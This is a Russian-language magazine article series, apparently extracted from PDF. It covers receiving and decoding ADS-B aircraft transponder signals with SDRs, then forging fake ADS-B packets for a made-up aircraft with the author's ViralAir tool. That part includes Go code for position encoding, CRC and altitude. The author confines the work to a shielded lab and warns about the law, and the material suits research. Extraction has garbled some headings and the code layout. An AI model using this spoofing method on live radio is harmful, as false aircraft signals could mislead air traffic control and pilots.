Меж ду антенной и SDR мож но добавить филь тр, который отсе чет часть
шумов. Сущес тву ют спе циаль ные филь тры для ADS-B, заказать из Китая мож- 
но за 10–15 дол ларов.

Для изу чения эфи ра я буду исполь зовать , эта прог рамма дос тупна
для Linux и macOS. Если у тебя Windows, рекомен дую . В Ubuntu GQRX
уста нав лива ется из штат ных репози тори ев:

GQRX
SDR#

apt update 
apt  install -y gqrx 

Даль ше дела ем звук пог ромче, выбира ем источни ком наш SDR и нажима ем
на боль шую кноп ку «Старт». Если все сде лано пра виль но, из динами ков нач- 
нет шипеть так, что ты под прыг нешь на сту ле, пос ле чего отклю чишь зву ки
кноп кой Mute, рас положен ной в пра вом ниж нем углу.

Час тоту при ема мож но выб рать в вер хней час ти экра на — нуж но задать
там зна чение 1.090.000, что рав но 1090 МГц. Пос ле это го ты уви дишь что-то
похожее на скрин шот вни зу.

Сиг нал в GQRX

Ко рот кие полос ки по цен тру — это и есть сиг нал ADS-B, который замет но
выделя ется на фоне окру жающе го шума. Если у тебя их нет, поп робуй изме- 
нить парамет ры уси ления на вклад ке Input Controls спра ва. Если и это
не помог ло, перей ди на вклад ку FFT Settings и нас трой парамет ры Plot и WF.
Еще мож но поп робовать пок рутить антенну или положить ее в раз ных нап- 
равле ниях.

Dump1090
Ког да ты добь ешься ста биль ного при ема сиг нала в GQRX, можешь перехо- 
дить к сле дующе му шагу.

В обыч ных слу чаях, если кто-то хочет прос то при нять сиг налы Mode S
и декоди ровать их, он исполь зует уже готовую прог рамму . Эта тул- 
за с исходным кодом уме ет демоду лиро вать и декоди ровать поч ти все сиг- 
налы Mode S и даже выводит их в виде кра сивой таб лички. Что бы про верить,
все ли у нас работа ет кор рек тно, луч ше начать с чего-то заведо мо рабоче го,
и нач нем мы с dump1090.

dump1090

Для уста нов ки нуж но кло ниро вать репози торий про екта с GitHub и соб рать
бинар ник. Дела ется это про ще прос того:

git clone https://github.com/antirez/dump1090 
cd dump1090 
make 

Пос ле это го у тебя дол жен появить ся бинар ник . Если у тебя RTL-

SDR, можешь исполь зовать dump1090 нап рямую с ним, но у меня BladeRF,
для под дер жки которо го нуж но нем ного повозить ся.

dump1090

Во-пер вых, уста нови драй вер для сво его SDR — их мож но най ти в репози- 
тори ях прак тичес ки всех дис три бути вов, погуг лить.

Во-вто рых, нуж но будет накатить на SDR спе циаль ную про шив ку.
Для BladeRF эти про шив ки дос тупны на , где нуж но выб рать соот- 
ветс тву ющий файл для сво ей вер сии BladeRF.

сай те Nuand

Даль ше ска чива ем прог рамму для декоди рова ния сооб щений ADS-B
и собира ем ее:

git clone https://github.com/Nuand/bladeRF-adsb 
cd bladeRF-adsb/bladeRF_adsb 
make 

Те перь залива ем про шив ку в BladeRF. Сде лать это мож но с помощью пакета
:bladerf-cli

bladeRF-cli -l ~/Downloads/adsbxA4.rbf 

Те перь запус каем в одном окне , а в дру гом — ,

который мы собира ли парой шагов рань ше:

dump1090 bladeRF-adsb

  ~/Soft/dump1090/dump1090 --raw --device-type bladerf --bladerf-fpga
''
~/Soft/Blade/bladeRF-adsb 

Ес ли все сде лано вер но, в окне с dump1090 ты уви дишь кучу строк в шес тнад- 
цатерич ном виде. Это и есть сооб щения Mode S, которые надо еще декоди- 
ровать и отфиль тро вать.

При мер сырого вывода dump1090

Ес ли убрать  из аргу мен тов запус ка , то сиг налы будут авто- 

мати чес ки декоди ровать ся и выводить ся в таб лицу, как на скрин шоте ниже.

--raw dump1090

Де коди рован ные сиг налы Mode S в dump1090

В таб лице мож но най ти уже декоди рован ные из CPR широту и дол готу,
позыв ной самоле та, его ско рость, высоту и дру гие дан ные. Но это было бы
слиш ком прос то, не прав да ли? Давай декоди ровать эти дан ные самос- 
тоятель но!

Продолжение статьи →
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Что бы при нять сиг нал самос тоятель но, нуж но сна чала демоду лиро вать его,
а потом декоди ровать то, что получит ся.

Де моду ляция (детек тирова ние сиг нала) — про- 
цесс, обратный модуля ции колеба ний, выделе ние
информа цион ного (модули рующе го) сиг нала
из модули рован ного колеба ния высокой
(несущей) час тоты. Прос тым язы ком демоду- 
ляция — это выделе ние сиг нала из колеба ний
высокой час тоты.

ADS-B работа ет с PPM-модуля цией, то есть, что бы выделить полез ный сиг- 
нал, нуж но каж дые 0,5 мкс опре делять сос тояние сиг нала (0 или 1). План
у нас будет сле дующий:
1. За писать сиг нал.
2. Сде лать выбор ки каж дые 0,5 мкс.
3. Пре обра зовать их в бай ты.
4. Де коди ровать сооб щения ADS-B.

Для удобс тва будем исполь зовать Python либо готовый набор инс тру мен тов
GNU Radio. На Ubuntu GNU Radio уста нав лива ется сле дующим обра зом:

sudo add-apt-repository ppa:gnuradio/gnuradio-releases -y
sudo apt update 

apt sudo install gnuradio -y

Ра зуме ется, для работы GNU Radio пот ребу ются и драй веры для тво ей SDR.
При этом мы не будем исполь зовать SDR как основной источник сиг нала, что- 
бы мож но было на заведо мо оди нако вых дан ных погонять раз ные алго рит мы
и срав нить резуль таты.

Çàïèñü ñèãíàëà
Пер вое, что нуж но сде лать пос ле запус ка GNU Radio, — это соб рать базовый
пай плайн. Выг лядеть он будет, как на скрин шоте ниже.

Ба зовый пай плайн

Все го тут пять бло ков, два из которых — опции и перемен ная. В самом
начале сто ит , который отве чает за получе ние сырых дан ных

из SDR. Нас тро ек в нем мно го, но для работы нуж ны все го пять (при мер
ниже — для BladeRF):

osmocom Source

1. Device Argument — аргу мен ты, которые будут переда ны SDR. Тут впи сыва- 
ем .bladerf=0

2. Ch0 Freq — час тота нулево го канала. У BaldeRF их два, но нам нужен толь- 
ко один. Сюда впи сыва ем час тоту ADS-B — это 1090 МГц или 1,09 ГГц.

3. RF Gain — параметр, зада ющий чувс тви тель ность при емни ка. Я уста новил
его в 15 дБ. Не ставь слиш ком боль шую чувс тви тель ность — мощ ные сиг- 
налы могут пов редить ради отракт!

4. Bandwidth — ширина канала при ема, для ADS-B это 2 МГц.

Пя тый параметр — Sample Rate, или час тота дис кре тиза ции. Прос тым язы ком
это количес тво выборок в секун ду, которое дела ет SDR для оциф ровки сиг- 
нала. Что это и зачем? На вход SDR пос тупа ет ана лого вый сиг нал, а для
работы его нуж но оциф ровать. Для оциф ровки сиг нала нуж но делать выбор ки
через некото рый оди нако вый про межу ток вре мени. Чем боль ше выборок
в секун ду, тем луч ше, но тем мощ нее для это го дол жно быть устрой ство. Наг- 
лядно про цесс оциф ровки показан на кар тинке ниже.

Как работа ет оциф ровка

Ко личес тво стол биков на кар тинке — это и есть количес тво сем плов, а SPS
в скоб ках в наз вании это го парамет ра рас шифро выва ется как Samples per
Second, то есть количес тво выборок в секун ду. В парамет ре  ввер- 

ху я задал час тоту выбор ки 4М SPS, и это нес лучай ное зна чение, ведь оно
как раз в четыре раза боль ше час тоты вход ного сиг нала, а по теоре ме Най- 
квис та нуж на минимум в два раза боль шая час тота, чем час тота сиг нала.
Для работы с ADS-B мож но исполь зовать и час тоты 2 и 2,5 MSPS, но чем
выше час тота дис кре тиза ции, тем луч ше качес тво оциф ровки.

samp_rate

Те оре ма Най квис та (она же теоре ма отсче тов,
теоре ма Котель никова) — фун дамен таль ное
утвер жде ние в области циф ровой обра бот ки сиг- 
налов, свя зыва ющее неп рерыв ные и дис крет ные
сиг налы и гла сящее, что «любую фун кцию F(t),
сос тоящую из час тот от 0 до f1, мож но неп рерыв- 
но переда вать с любой точ ностью при помощи
чисел, сле дующих друг за дру гом менее чем
через 1 / (2 * f1) с».

Те перь, ког да все нас тро ено, мож но нажимать «Старт» на вер хней панели
GNU Radio. Если все сде лано вер но, ты уви дишь спектр, похожий на тот, что
пой мал я.

Ви зуали зация спек тра в GNU Radio

Еле замет ные полос ки в вер хней час ти скрин шота — это и есть сиг налы,
которые мы ищем. Мой BladeRF не отка либ рован, так что по бокам вид ны
завалы, но нашему экспе римен ту они не меша ют. Нуж но записать нес коль ко
минут таких сиг налов, пос ле чего мож но сво рачи вать обо рудо вание и идти
домой — декоди ровать!

Äåìîäóëÿöèÿ
Для демоду ляции я соб рал в GNU Radio более слож ную и инте рес ную схе му.

Схе ма демоду ляции сиг нала

Да вай про бежим ся по каж дому бло ку схе мы, что бы ты понимал, что про исхо- 
дит. На схе ме часть вхо дов и выходов име ют раз ные цве та — эти цве та озна- 
чают раз ные типы дан ных:

си ний — ком плексные чис ла;•
оран жевый — чис ла с пла вающей точ кой;•
фи оле товые — бай ты.•

Те перь перей дем к самим бло кам.
1. File Source — источник сиг нала в виде фай ла. В этом бло ке нуж но выб рать

файл, который мы записа ли, ког да при нима ли сиг нал. Этот блок заменя ет
реаль ную SDR для наших экспе римен тов.

2. Throttle — эле мент, замед ляющий подачу сиг нала в нашу схе му. Без это го
бло ка вся обра бот ка выпол нится слиш ком быс тро и будет ничего не вид- 
но.

3. Waterfall — это визу али зация сиг нала. Жел то-голубая каша из пик селей
на гра фике — это как раз оно.

4. QT GUI Time Sink рису ет гра фик зависи мос ти сиг нала от вре мени.
5. Compex To Mag — блок пре обра зова ния ком плексных чисел в чис ла с пла- 

вающей точ кой. На вхо де у него синие зна чения, а на выходе оран жевые.
6. Threshold — самый важ ный блок в нашей схе ме демоду ляции, он помога ет

отде лить сиг налы от осталь ного шума. Я задал зна чения  и 

 — это ампли туды сиг налов, которые я хочу отде лить.

low 13m high 
13m

Что бы най ти порог для тво ей SDR, при дет ся соб рать еще одну допол- 
нитель ную схе му. Спра ва в поис ке най ти бло ки Peak Detector и Time Sink.
В бло ке Time Sink нуж но выс тавить три вхо да, а если у Peak Detector
отсутс тву ет Debug port, то толь ко два. Пос ле сбор ки схе мы ты уви дишь,
на какой ампли туде будут пики полез ного сиг нала.

7. Symbol Sync — это еще один важ ный блок син хро низа ции сим волов. Выше
я уже говорил, что выб рал час тоту дис кре тиза ции 4 MSPS, и нуж но это как
раз для работы бло ка син хро низа ции, пос коль ку его минималь ный
параметр Samples per Symbol равен 2, а воз можно это, толь ко если час- 
тота дис кре тиза ции вход ного сиг нала не мень ше 4 MSPS. Если у тебя
не такой кру той при емник (нап ример, RTL-SDR) — не беда, мож но отклю- 
чить Symbol Sync и исполь зовать блок Keep 1 in N (нарисо ван серым
на схе ме выше). С бло ком син хро низа ции из сырой записи я в сво ем тес те
получил 18 из 31 хороших пакетов, а без него — 11 из 29. Получа ется, что,
прос то исполь зуя нор маль ную син хро низа цию, ты получишь зна читель но
боль ше валид ных дан ных.

8. Float to Char — этот блок пре обра зует чис ла с пла вающей запятой в сим- 
волы и отправ ляет в File Sink.

9. File Sink сох раня ет бай ты в файл для даль нейше го ана лиза.

Со схе мой разоб рались, мож но ее вклю чать. Пос ле запус ка ты уви дишь при- 
мер но такую кар тину.

Схе ма демоду ляции в дей ствии

Са мое пер вое — это наш Waterfall, на нем удоб но гла зами искать сиг нал.
Даль ше идет Time Sink пос ле син хро низа ции: тут два сиг нала — крас ный (сиг- 
нал ошиб ки) и синий (исправ ленный по вре мени сиг нал). Эти сиг налы уже
напоми нают что-то циф ровое, но нас тоящий циф ровой сиг нал отоб ража ется
уже на треть ем гра фике (обра ботан ный бло ком Threshold). Чет вертый гра- 
фик — это тот же исходный сиг нал, что на пер вом гра фике, но обра ботан ный
бло ком Threshold.

Àíàëèç ôàéëà
Пос ле демоду ляции файл будет выг лядеть так.

000717e0: 0000 0100 0100 0000 0000 0001 0000 0000  ................ 
000717f0: 0101 0000 0100 0000 0000 0101 0000 0100  ................ 
00071800: 0101 0001 0000 0100 0101 0000 0101 0001  ................ 
00071810: 0000 0101 0001 0001 0100 0101 0000 0100  ................ 
00071820: 0100 0100 0100 0101 0001 0001 0001 0000  ................ 
00071830: 0100 0100 0100 0100 0101 0000 0100 0100  ................ 
00071840: 0100 0001 0101 0000 0100 0100 0100 0100  ................ 
00071850: 0100 0100 0100 0100 0100 0100 0100 0100  ................ 
00071860: 0100 0100 0100 0100 0100 0100 0100 0100  ................ 
00071870: 0100 0100 0100 0100 0100 0100 0100 0101  ................ 

Да вай теперь про чита ем файл и будем искать в этом потоке дан ных пре амбу- 
лу пакета Mode S. Я написал для это го нес коль ко фун кций на Python.

 import requests

 def read_binary_file(filename):
    with open(filename, 'rb') as file:

      return [int(byte) for byte in file.read()]

  def find_pattern(data, pattern):
  pattern_length = len(pattern)

  matches = []
       for i in range(len(data) - pattern_length + 1):

    if data[i:i+pattern_length] == pattern:
  matches.append(i)

 return matches

Пер вая фун кция прос то чита ет файл, а вто рая ищет задан ный пат терн (нашу
пре амбу лу). Но для поис ка нуж но сна чала соб рать двой ные биты в оди нар ные
(те самые пов торения, из-за которых бит по 0,5 мкс занима ет 1 мкс). Сле- 
дующая фун кция как раз это и дела ет:

 def decode_adsb(bits):
   decoded = []
      for i in range(0, len(bits), 2):
      if bits[i:i+2] == [1, 0]:
    decoded.append(1)
      elif bits[i:i+2] == [0, 1]:
    decoded.append(0)
  return decoded

Чи таем файл и находим все пре амбу лы:

  data = read_binary_file("decoded2.bin")
                 pattern = [1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0]
   matches = find_pattern(data, pattern)

 print("Total matches: ", len(matches))
  good = 0
  bad = 0

Здесь  — это и есть иско мая пре амбу ла. Можешь даже отлистать

в начало статьи и срав нить. Пос коль ку пре амбу ла озна чает любой сиг нал
Mode S, а не толь ко ADS-B, то могут попадать ся сиг налы дли ной 56 бит. Их
под дер жка тоже есть.

pattern

   for match_index in matches:
try:
     start_index = match_index + len(pattern)

     end_index = start_index + 224
     end_index2 = start_index + 112

   extracted_bits = data[start_index:end_index]
   extracted_bits2 = data[start_index:end_index2]

   decoded_bits = decode_adsb(extracted_bits)
   decoded_bits2 = decode_adsb(extracted_bits2)

     hex_value = hex(int(''.join(map(str, decoded_bits)), 2)).replace(
'0x','')
     hex_value2 = hex(int(''.join(map(str, decoded_bits2)), 2)).replace(
'0x','')

    if len(hex_value) == 28:
    response = requests.get(f"http://jasonplayne.com:8080/
decode?packet={hex_value}&refLat=&refLon=")
     if "Failed to decode." in response.text:
     bad += 1
  else:
     good += 1
   print(response.text)

    if len(hex_value2) == 14:
    response = requests.get(f"http://jasonplayne.com:8080/
decode?packet={hex_value}&refLat=&refLon=")
     if "Failed to decode." in response.text:
     bad += 1
  else:
     good += 1
   print(response.text)

except:
 pass

   print("Total good/bad: ", good, "/", bad)

Про читав код, ты заметишь, что я вытас киваю ADS-B-пакеты и отправ ляю их
для декоди рова ния на сто рон ний сер вис, что бы не изоб ретать собс твен ный
пар сер для всех типов пакетов. Этот же  мож но открыть и прос то в бра- 
узе ре, что бы полис тать образцы пакетов и еще глуб же оку нуть ся в мир Mode
S и ADS-B.

сайт

При хорошем рас кла де ты уви дишь при мер но такой вывод:

8d89617999086e99b8480ab9e174 
MODE S Packet: 
Length              : 56 bits 
Frame               : 8d89617999086e99b8480ab9e174 
DF: Downlink Format : (17) ADS-B 
CA: Plane Mode S Cap: (5) Level 2,3 or 4. can set code 7. is airborne 
VS: Vertical status : Airborne 
AA: ICAO            : 896179 

ME : ADSB Msg Type  : (19) Airborne velocity 
SUB:      Sub Type  : 1 
 Intent Change     : false 
 IFR Capable       : false 
 Nav Accuracy Cat  : 1 
 heading           : 151.88 
 Super Sonic?      : No 
 velocity          : 232.65 
 EW/NS VEL         : (East/west: 109) (North/South: -204) 
 Vertical Rate     : -1088 
 HAE Delta         : 225 (Height Above Ellipsoid) 

Я получил сиг нал со ско ростью самоле та, но у тебя, конеч но, будет их нам- 
ного боль ше. DF у меня равен 17 (ADS-B), а ICAO-код тран спон дера —
896179.

На деюсь, и тебе пон равилось пог ружение в инте рес ный мир ради осиг- 
налов. При ятных иссле дова ний!

http://jasonplayne.com:8080/
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Сов ремен ные самоле ты неп рерыв но
переда ют друг дру гу телемет рию по про- 
токо лу ADS-B. В этой статье мы с тобой
сде лаем собс твен ный вооб ража емый
самолет, что бы пос мотреть, как работа ет
переда ча дан ных. Конеч но, будем при этом
соб людать все законы и пра вила безопас- 
ности.

В  я уже говорил, что ADS-B — это часть боль шого про токо ла
Mode S, который активно исполь зует ся для иден тифика ции и отсле жива ния
воз душных судов. ADS-B поз воля ет отсле живать летатель ные аппа раты,
на которых уста нов лен спе циаль ный тран спон дер. Он регуляр но переда ет
дан ные о самоле те: высоту, коор динаты, ско рость и мно гое дру гое. При нять
их может любой жела ющий, так как никакой защиты или шиф рования в про- 
токо ле не пре дус мотре но.

прош лой статье

На этот раз мы пол ностью сос редото чим ся на переда че сво его сиг нала
ADS-B. Что бы никому не помешать, при нимать мы его тоже будем на свой
при емник. Учти: это вов се не пособие по осна щению самоле тов тран спон- 
дерами. Ско рее мы будем исполь зовать этот любопыт ный при мер
для демонс тра ции того, как кто-то может разоб рать и под делать любой
незащи щен ный сиг нал.

Ни при каких обсто ятель ствах не пов торяй все
это за пре дела ми сво ей лабора тории! Работа
в эфи ре без раз решения может пов лечь за собой
ответс твен ность по закону. Автор и редак ция
не несут ответс твен ности за любой вред, при- 
чинен ный с при мене нием изло жен ной информа- 
ции.

ÒÅÑÒÎÂÛÉ ÏÎËÈÃÎÍ

Тес товое окру жение необ ходимо, что бы видеть, что мы дела ем, но при этом
не вли ять на обо рудо вание аэро пор тов. Вряд ли они оце нят наши экспе- 
римен ты! Зато ущерб впол не могут оце нить, а сум му выс тавить к опла те. Что- 
бы это го избе жать, я взял два SDR и исполь зовал на минималь ной мощ ности
в экра ниру ющем помеще нии. К тому же сиг налы на час тотах око ло 1 ГГц,
которые я исполь зовал, прак тичес ки не рас простра няют ся за горизонт.

В моем рас поряже нии ока зались два неп лохих и доволь но популяр ных
SDR: HackRF и BladeRF. Пер вый я буду исполь зовать как передат чик, а вто- 
рой — как при емник. Прог рам мную часть при ема сде лаем с помощью уже
зна комой из прош лой статьи прог раммы , которая уме ет пар сить
сиг налы Mode S (частью которо го и явля ется ADS-B) в реаль ном вре мени
и выводить их в чита емом фор мате.

dump1090

Схе ма уста нов ки будет выг лядеть при мер но так.

Схе ма лабора тории

Для ста биль ной работы на оба SDR нуж но нак рутить любую шты ревую
антенну, так как без нее ничего работать не будет или будет, но очень-очень
пло хо.

Íàñòðîéêà BladeRF
По шаго вую нас трой ку BladeRF для при ема мы уже раз бирали в 

. Если ты пов торял за мной, то у тебя уже есть ути лита dump1090 и нуж- 
ная про шив ка в SDR. В таком слу чае этот раз дел мож но про пус тить.

прош лой
статье

С завод ской про шив кой BladeRF не уме ет работать с dump1090 — при- 
дет ся их под ружить вруч ную. Пер вым шагом будет ска чива ние про шив ки, сов- 
мести мой с ADS-B, с офи циаль ного сай та раз работ чика:

wget https://www.nuand.com/fpga/adsbxA4.rbf 

Пос ле это го сра зу же заг ружа ем ска чан ный файл в BladeRF:

bladerf-cli -i adsbxA4.rbf 

Даль ше нам надо уста новить еще две прог раммы: bladeRF-adsb и саму
dump1090. Пер вая нуж на прос то для того, что бы тран сли ровать дан ные
с SDR нап рямую в dump1090.

Ска чива ем и собира ем dump1090:

git clone https://github.com/mutability/dump1090.git 
cd dump1090 
make 

  ./dump1090 --net-only --raw --interactive

Пос ле запус ка dump1090 перехо дим к мос ту:

git clone https://github.com/Nuand/bladeRF-adsb 
cd bladeRF-adsb/bladeRF_adsb 
wget http://nuand.com/fpga/adsbx40.rbf 
wget http://nuand.com/fpga/adsbx115.rbf 
make 
./bladeRF_adsb 

Те перь, ког да все готово для при ема и декоди рова ния сиг налов ADS-B, уже
мож но при нять какие-то сиг налы от самоле тов (да, даже в ком нате), осо бен- 
но если самолет близ ко или если у тебя хорошая антенна.

ViralAir
Что бы генери ровать свои сооб щения ADS-B, я соз дал ути литу ViralAir
и выложил ее . Что бы пов торять за мной, ска чай и ском пилируй ее:на GitHub

git clone https://github.com/st3rv04ka/ViralAir 
cd ViralAir 
go build cmd/viralair/main.go

Пос ле сбор ки появит ся файл , который и будет генери ровать готовый

для переда чи файл. Фор мат это го фай ла пол ностью под ходит для HackRF,
но может быть сов местим и с дру гими SDR (я не про верял). Что бы про верить,
что все хорошо, мож но соз дать тес товый самолет с позыв ным 

на высоте 9999 футов сле дующей коман дой:

main

0xDEADBE

./main -altitude 9999.0 --icao 0xDEADBE 

В текущей дирек тории дол жен появить ся файл . Если он дей- 

стви тель но есть, зна чит, все работа ет и мож но про дол жать.

Samples.iq8s

Продолжение статьи →

mailto:qeewwqqq@gmail.com
https://xakep.ru/2023/12/19/ads-b-guide/
https://github.com/antirez/dump1090
https://xakep.ru/2023/12/19/ads-b-guide/
https://github.com/st3rv04ka/ViralAir
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Да вай нем ного осве жим зна ния про струк туру сооб щения ADS-B из прош лой
статьи. Сооб щение может быть раз ной дли ны — 56 либо 112 бит. От дли ны
зависит тип переда ваемой информа ции, а сам тип записы вает ся в поле TC
(Type Code) сооб щения. Обыч ное 112-бит ное сооб щение выг лядит сле- 
дующим обра зом.

Как ты мог заметить, никако го поля TC тут нет — и все вер но, оно спря тано
внут ри поля ME. Дело в том, что ADS-B — это все го лишь часть боль шого
про токо ла Mode S, и выше пред став лена струк тура имен но сооб щения Mode
S, в то вре мя как все спе цифич ные для ADS-B поля находят ся внут ри поля
дан ных (ME) Mode S.

Да вай осве жим в памяти наз начение осталь ных полей пакета:
 (downlink format) отве чает за тип сиг нала в Mode S. Для ADS-B всег да

равен 17;
• DF

 (transponder capability) отве чает за тип тран спон дера, который мы

теоре тичес ки можем пос тавить какой угод но, но на прак тике будем
исполь зовать 6 (что озна чает тран спон дер уров ня 2+);

• CA

пос ле CA идет  — уни каль ный номер самоле та. В эти 24 бита мы

можем запих нуть что угод но, а в рам ках этой статьи будем запус кать
самолет ;

• ICAO

0xDEADBE

 — само сооб щение ABS-B. Это может быть высота, ско рость

или коор динаты. Мы будем переда вать толь ко коор динаты (TC равен 11),
без ско рос ти и высоты. Ско рость и высота ничем не хуже, прос то мне
хочет ся разоб рать под робнее кодиро вание CPR.

• ME

CPR

Воз можно, ты читал прош лую статью и еще пом нишь, как я мучил ся с CPR
и упро щен ными кар тами для переда чи в малень ких сооб щени ях. Из-за этих
карт в ADS-B есть два вида сооб щений с коор дината ми: чет ное и нечет ное, и,
толь ко имея оба сооб щения, мож но опре делить точ ную локацию самоле та.
Соз давать такие пакеты еще слож нее, чем при нимать.

Да вай про бежим ся по моему коду на Go, который перево дит коор динаты
с CPR:

    func nl(declatIn float64) float64 {
 // Близко к полюсам секторов мало, возвращаем всего один
       if math.Abs(declatIn) >= 87.0 {

        return 1.0
   }

    return math.Floor(
           (2.0 * math.Pi) * math.Pow(

            math.Acos(1.0 -
               (1.0-math.Cos(math.Pi/(2.0*latz)))

   
 

               / math.Pow(math.Cos((math.Pi/180.0) * math.Abs(
declatIn)), 2)),
       -1))
}

        func dlon(declatIn float64, ctype int, surface int) float64 {
     var tmp float64
       if surface == 1 {

         tmp = 90.0
   }
   else
   {

         tmp = 360.0
   }

      nlcalc := math.Max(nl(declatIn)-float64(ctype), 1)
      return tmp / nlcalc
}

// Кодируем в CPR
         

  
func CprEncode(lat float64, lon float64, ctype int, surface int) (int
, int) {
     var scalar float64
       if surface == 1 {

          scalar = math.Pow(2, 19)
     } else {

          scalar = math.Pow(2, 17)
   }

      dlati := dlat(ctype, surface)
        yz := math.Floor(scalar*((math.Mod(lat, dlati))/dlati) + 0.5)
       dloni := dlon(lat, ctype, surface)
        xz := math.Floor(scalar*((math.Mod(lon, dloni))/dloni) + 0.5)
                 return int(yz) & ((1 << 17) - 1), int(xz) & ((1 << 17) - 1)
}

Да, в этом коде черт ногу сло мит, но на самом деле за слож ной матема тикой
сто ят доволь но прос тые алго рит мы.

Нач нем по поряд ку, с фун кции . Она рас счи тыва ет количес тво зон
на задан ной нами широте. Логика прос тая: чем бли же к полюсам, тем мень- 
ше зон задан ного раз мера помес тится на одной широте. Вот так выг лядят
реаль ные зоны в CPR.

nl()

Кар та зон в CPR

Что бы не морочить себе голову слож ной матема тикой, при широте боль- 
ше 87 гра дусов будем воз вра щать количес тво делений рав ное еди нице.
Фор мула для рас чета взя та из офи циаль ной докумен тации к про токо лу, и в
самом докумен те она выг лядит доволь но страш но.

Фор мула для рас чета количес тва зон

Пос ле  идет фун кция . Количес тво делений на широте у нас уже

есть, а теперь нуж но рас счи тать интервал, что бы рав номер но рас пре делить
эти деления по кру гу и что бы все они были оди нако выми. При этом важ но учи- 
тывать, где находит ся самолет, — на зем ле или в воз духе. Если самолет
в воз духе, мы делим 360 на количес тво интерва лов минус тип сооб щения
(even или odd). Получен ный резуль тат воз вра щает ся в кон це фун кции. Фун- 
кция  дела ет плюс-минус то же самое для дол готы, так что не будем

оста нав ливать ся на ней отдель но.

nl() dlon()

dlat()

Те перь перей дем к основной фун кции рас чета CPR. Пос ле получе ния
количес тва зон мож но рас счи тать непос редс твен но коор динаты самоле та.
Для это го учтем мно житель, который мож но най ти в докумен тации про токо ла

(он скрыт глу боко в фор мулах). Для воз духа он будет равен 2 , а для зем ли —

2 .

17

19

Фор мула для воз духа

Фор мула для зем ли

По лучен ное пос ле кодиро вания чис ло нуж но сжать до 17 бит, что и дела ется
при воз вра те резуль татов из фун кции.

PI

Ес ли ты выдох нул с мыслью, что все слож ное уже позади, вды хай обратно!
Вто рая слож ность при переда че сво их сиг налов — это рас чет кон троль ной
сум мы (CRC), или parity bits. Нуж но пос читать и добавить в конец сооб- 
щения 24 бита, которые исполь зуют ся для про вер ки целос тнос ти сооб щения.
Имен но на них ори енти рует ся, нап ример, dump1090. Заг воз дка в том, что
фор мула для рас чета выг лядит так.

Ал горитм под сче та parity bits

В псев докоде эта фун кция выг лядит при мер но так:

generator = 1111111111111010000001001 

# 11 + 3 нулевых байта 
data_hex = 8D406B902015A678D4D220[000000] 

# 88 бит 
data = 1000110101000000011010 1110010000001000000001 
      0101101001100111100011 0101001101001000100000 
     [000000000000000000000000]  # 24 бита 

FOR i FROM 0 TO (112-24): 
 IF data[i] IS 1: 
   data[i:i+24] = data[i:i+24] XOR generator 

remainder = data[-24:] 

# Результат: 101010100100101111011010, или AA4BDA в HEX 

Ге нера тор — это кон стан та, которую наш ли спе циаль но для это го алго рит ма
и которая наибо лее эффектив на. В цик ле мы прос то про ходим по всем битам
от 0 до 88 (112 минус 24, потому что пос ледние 24 бита мы сей час и запол- 
няем) и при меня ем исклю чающее ИЛИ с генера тором. Получен ные 24 бита
нуж но добавить к нашему сооб щению, что бы у нас был закон ченный пакет
дан ных. Вот как я это сде лал в ViralAir:

     const ( GENERATOR = "1111111111111010000001001" )

      func Crc(msg string, encode bool) string {
     msgbin := []rune(misc.Hex2bin(msg))
     generator := []int{}

         for _, char := range GENERATOR {
          generator = append(generator, int(char-'0'))

   }

     if encode {
                 for i := len(msgbin) - 24; i < len(msgbin); i++ {

             msgbin[i] = '0'
       }
   }

           for i := 0; i < len(msgbin)-24; i++ {
           if msgbin[i] == '1' {

                for j := range generator {
                     msgbin[i+j] = rune('0' + (int(msgbin[i+j]-'0') ^

generator[j]))
           }
       }
   }

     reminder := string(msgbin[len(msgbin)-24:])
    return reminder
}

Ре али зация на Go похожа на наш псев докод, так что раз бирать под робно ее
не буду.

Ñîáèðàåì âñё âìåñòå

Те перь, ког да у нас есть все слу жеб ные фун кции, мож но соз давать пакет!
Начина ется всё с кодиро вания высоты, за это отве чает фун кция

.encodeAltModes()

// Encode altitude
      func encodeAltModes(alt float64, surface int) int {

     mbit := 0
     qbit := 1
         encalt := int((int(alt) + 1000) / 25)

      var tmp1, tmp2 int

       if surface == 1 {
             tmp1 = (encalt & 0xfe0) << 2
             tmp2 = (encalt & 0x010) << 1

     } else {
             tmp1 = (encalt & 0xff8) << 1
         tmp2 = 0

   }

                  return (encalt & 0x0F) | tmp1 | tmp2 | (mbit << 6) | (qbit << 4)
}

В зависи мос ти от высоты при меня ются раз ные делите ли. Для обыч ных
самоле тов — 25, но есть и дру гие, нап ример 100. Они нуж ны для самоле тов,
которые лета ют выше, чем обыч ные. За выбор делите ля отве чает параметр

. Смысл делите ля — ука зать, какого раз мера взят интервал для высоты.qbit
Пос коль ку ука зывать высоту в нор маль ных величи нах, а не в футах —

это слиш ком прос то, авто ры про токо ла при дума ли делить высоту на интерва- 
лы по N футов и ука зывать номер такого интерва ла, а N — это и есть наш
делитель (сколь ко футов в одном интерва ле). Делитель в 25 футов для нашего
самоле та дает точ ность око ло 7,6 м.

По поводу самого  докумен тация про токо ла говорит сле дующее:qbit

« »
This field will contain barometric altitude encoded in 25 or 100-foot
increments (as indicated by the Q Bit). All zeroes in this field will indicate
that there is no altitude data.

То есть если  уста новить в 0, то делитель ста нет рав ным 100, что быва ет

полез но, если высота слиш ком боль шая и ее слож но умес тить в сооб щение.
В ViralAir пре дус мотрен толь ко делитель 25, хотя добавить 100 мож но доволь- 
но лег ко — поп робуй реали зовать это сам на досуге!

qbit

Ре зуль тат работы фун кции для высоты в 9999 футов ты можешь уви деть
ниже:

 

 

2024/01/15 03:40:37 [+] Encode altitude [9999.000000] with the surface 
flag [0] 
2024/01/15 03:40:37 [+] Encoded altitude [0x377]

Сле дующая задача — соз дать два сооб щения (  и ), и нач нем мы

с . Пер вая часть любого сооб щения ADS-B — это его тип. DF (тип сооб- 

щения Mode S) для ADS-B всег да равен 17, так что это кон стан та в коде,
а пос ле него идут CA (уро вень тран спон дера) и ICAO (номер самоле та). CA
и ICAO мож но задать свои как аргу мен ты при запус ке ViralAir.

even odd
even

// Format + CA + ICAO
   dataEven = append(dataEven, byte((format<<3)|ca))
   dataEven = append(dataEven, byte((icao>>16)&0xff))
   dataEven = append(dataEven, byte((icao>>8)&0xff))
   dataEven = append(dataEven, byte((icao)&0xff))

Те перь добавим к фрей му дол готу, широту и высоту:

// Even
  log.Printf("[+] Encode even frame with lat [%f] and lon [%f]", lat,

lon)
